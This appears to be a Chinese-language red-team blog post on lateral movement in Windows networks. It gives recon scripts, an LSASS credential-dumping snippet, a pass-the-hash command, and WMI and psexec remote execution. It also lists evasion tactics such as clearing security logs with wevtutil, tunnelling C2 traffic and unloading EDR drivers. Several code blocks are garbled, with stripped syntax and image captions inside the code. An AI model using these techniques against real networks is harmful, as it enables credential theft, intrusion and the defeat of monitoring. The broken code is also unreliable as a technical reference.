0x01 内网横向移动的本质:攻与防的对抗

从防御者的视角出发,横向移动是攻击者在获取初始访问点后,试图突破同一网络中的其他主机或资源的过程。这往往是一次攻击链中的关键环节,因为它能够将局部突破转变为全网控制。防御者通常依赖以下手段进行检测和防护:

  • 登录事件监控:通过分析如 Windows 事件日志(如 4624、4625 等)来发现异常的登录行为;
  • 网络流量分析:通过检测 SMB、RDP、WMI 或 WinRM 协议中的异常行为;
  • 权限分离:实施最小权限原则,限制每个账户的横向访问能力;
  • MFA 和强密码策略:增加凭证窃取的难度。

既然了解了防守的核心思路,作为攻击者,我们就需要以最小化痕迹为目标,绕过这些防御手段。“如何以最隐蔽的方式完成横向移动”才是红队需要深入思考的核心问题。接下来,我们将从信息收集到横向突破的全流程,逐步拆解技术细节。

---

0x02 情报是武器:找到最优突破点

在内网环境中,横向移动的起点是目标环境的资产信息。我们需要回答几个关键问题:

  • 哪些主机存在高价值账户?
  • 哪些服务存在弱认证或漏洞?
  • 有哪些共享资源可以利用?

以下是我在内网中常用的资产枚举方法,逐步揭开目标网络的布局。

1. 枚举当前环境中的权限与域信息

首先,以最小权限账户进入目标环境后,我们需要快速了解当前所在的网络架构,以及是否处于域环境下。下面是一段用 Ruby 实现的基本信息收集脚本:

<pre><code class="language-ruby">require &#039;socket&#039;

def system_info puts &quot;[*] 获取主机名和IP信息...&quot; hostname = Socket.gethostname ip = Socket.ip_address_list.detect(&amp;:ipv4_private?).ip_address puts &quot;[+] 主机名: #{hostname}&quot; puts &quot;[+] 本地IP: #{ip}&quot; end

def check_domain puts &quot;[*] 检测域信息...&quot; domain = echo %userdomain%.strip if domain.empty? puts &quot;[-] 未加入域环境&quot; else puts &quot;[+] 当前域: #{domain}&quot; end end

system_info check_domain</code></pre>

  • 主机名IP信息是横向移动的基本起点,帮助我们定位当前主机在网络中的位置。
  • 域信息检测则可以判断是否可以进行基于域的横向移动,例如利用 Kerberos 或 LDAP。

2. 扫描附近的“邻居”主机

使用 nbtscan 或 Windows 系统自带的 net view 命令,我们可以快速枚举当前子网中的在线主机列表。以下是 Shell 脚本的实现:

<pre><code class="language-bash">#!/bin/bash

echo &quot;[] 正在扫描邻居主机...&quot; subnet=$(ipconfig | grep -E &quot;IPv4 Address&quot; | awk &#039;{print $NF}&#039; | sed &#039;s/\.[0-9]$/.0/&#039;) for ip in $(seq 1 254); do ping -c 1 -W 1 &quot;$subnet.$ip&quot; &amp;&gt;/dev/null &amp;&amp; echo &quot;[+] 主机在线: $subnet.$ip&quot; done</code></pre>

攻击者思路

  • 对在线主机进行分层分析:普通终端 VS 关键服务器(如文件服务器、数据库服务器)。
  • 将扫描结果与后续的脆弱性分析结合,优先定位易受攻击目标。

---

0x03 横向突破的技术细节拆解

横向移动的核心在于如何突破目标主机的访问权限。以下是几种常见技术及其对应的攻击思路:

1. 凭证窃取与复用

通过窃取当前主机上的凭证,可以快速实现对其他主机的访问。以下是几种常用的凭证窃取方法:

(1) Dump LSASS 内存中的凭证

攻击者常用工具如 Mimikatz 或自行编写脚本对 LSASS 进程进行内存转储。以下是 Ruby 结合 Windows API 进行凭证转储的代码:

<pre><code class="language-ruby">require &#039;fiddle&#039;

def dump_lsass puts &quot;[*] 正在尝试获取 LSASS 进程句柄...&quot; lsass_pid = tasklist | findstr lsass.strip.split[1].to_i unless lsass_pid puts &quot;[-] 未找到 LSASS 进程&quot; return end

黑客示意图

handle = Fiddle::Handle.new(&quot;kernel32&quot;) OpenProcess = handle[&#039;OpenProcess&#039;, &#039;LLI&#039;] process_handle = OpenProcess.call(0x001F0FFF, 0, lsass_pid) puts &quot;[+] 成功获取 LSASS 进程句柄: #{process_handle}&quot;

下一步可结合 MiniDumpWriteDump 将内存保存为文件进行离线分析

end

dump_lsass</code></pre>

黑客示意图

(2) 利用 Pass-the-Hash 技术

如果获取了 NTLM 哈希,可以直接复用登录其他主机。例如,用 pth-winexe 工具:

<pre><code class="language-bash">pth-winexe -U &quot;DOMAIN\\user%aad3b435b51404eeaad3b435b51404ee:password_hash&quot; //192.168.1.100 cmd</code></pre>

防守反推:通过限制账户的远程登录权限,防止高权限账户被滥用。

2. 利用远程执行机制

(1) WMI 执行

黑客示意图

WMI 是 Windows 环境中常见的管理工具,经常被攻击者用作横向移动的媒介。以下为 Ruby 调用 WMI 的示例:

<pre><code class="language-ruby">require &#039;win32ole&#039;

def execute_wmi(target, command) puts &quot;[] 通过WMI执行命令: #{command}...&quot; wmi = WIN32OLE.connect(&quot;winmgmts://#{target}/root/cimv2&quot;) process = wmi.ExecQuery(&quot;SELECT FROM Win32_Process&quot;) process.Create(command) puts &quot;[+] WMI 命令已发送&quot; end

execute_wmi(&quot;192.168.1.100&quot;, &quot;cmd.exe /c whoami &gt; C:\\temp\\result.txt&quot;)</code></pre>

(2) SMB 执行

通过 SMB 的 IPC$ 共享,我们可以直接上传恶意 payload 并触发执行。例如,结合 psexec 工具实现完全控制。

<pre><code class="language-bash">psexec \\192.168.1.100 -u Administrator -p password cmd</code></pre>

攻击者思路

  • 选择隐蔽性更好的执行方式,例如通过 PowerShell Remoting 或 WinRM,而非直接 RDP 登录。
  • 使用加密或混淆的 Payload,减少被 EDR 检测的风险。

---

0x04 绕过检测的技巧:隐蔽性优化

在横向移动的过程中,绕过 EDR 和 SIEM 系统的检测是关键。以下是一些通用的隐蔽性优化技巧:

  1. 减少日志痕迹
  • 使用 wevtutil 清除安全日志。
  • 调整攻击时间,避开管理员活跃时段。
  1. 流量伪装
  • 将恶意流量混淆为正常业务流量,例如通过 HTTP 或 DNS 隧道传输 C2 命令。
  1. Payload 混淆
  • 使用 sRDI 技术将 shellcode 加载到合法进程中。
  • 动态加密或分块解密恶意载荷。
  1. EDR 对抗
  • 暂时挂起 EDR 的内核钩子,或直接卸载其驱动程序。

---

0x05 攻与防的最后博弈

内网横向移动的核心在于信息的不断积累和突破,这是一场智力与技术的双向博弈。作为红队,我们关注的是如何最小化攻击痕迹,最大化突破效率;而作为防守方,则需在异常行为发生时,及时复盘并处理。

希望本文对你的红队技术栈提升有所帮助,但切记:所有技术仅限于合法授权的安全测试用途!

🎯 Hack the Planet!